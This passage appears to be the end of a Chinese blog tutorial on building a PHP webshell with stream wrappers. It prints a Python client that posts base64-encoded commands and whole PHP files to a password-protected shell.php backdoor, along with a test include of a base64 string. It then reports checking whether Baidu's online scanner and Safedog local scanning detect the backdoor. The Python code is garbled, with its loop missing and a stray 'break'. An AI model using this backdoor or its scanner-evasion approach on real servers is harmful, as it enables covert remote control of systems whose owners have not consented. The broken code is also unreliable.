import requests import base64 import sys def send_raw(url,password,cmd): res=requests.post(url,{ 'password':password, 'code': base64.b64encode(cmd.encode('utf-8')) }) return res.text def send_php_shell(url,password,cmd): return send_raw(url,password,'') if cmd == 'exit': break elif cmd.startswith('run'): cmd,path = cmd.split(' ',1) code = '' with open(path) as f: for line in f: code = code + line + "\r\n" response = send_raw(url,password,code); print(response) else: response = send_php_shell(url,password,cmd); print(response)
我们把我们的 shell.php 部署到服务器上,执行测试 shell.py :
php-shell.png
其中,test.php 的内容为:
<?php
include 'PD9waHAgZWNobyAiaGVsbG8gc2hlbGxcclxuIjs';
echo 'hello, shell world';
0×03 后门查杀
百度在线扫描
安全狗本地扫描
总结
以上所述是小编给大家介绍的PHP使用流包装器实现WebShell的方法,希望对大家有所帮助,如果大家有任何疑问欢迎给我留言,小编会及时回复大家的!
您可能感兴趣的文章: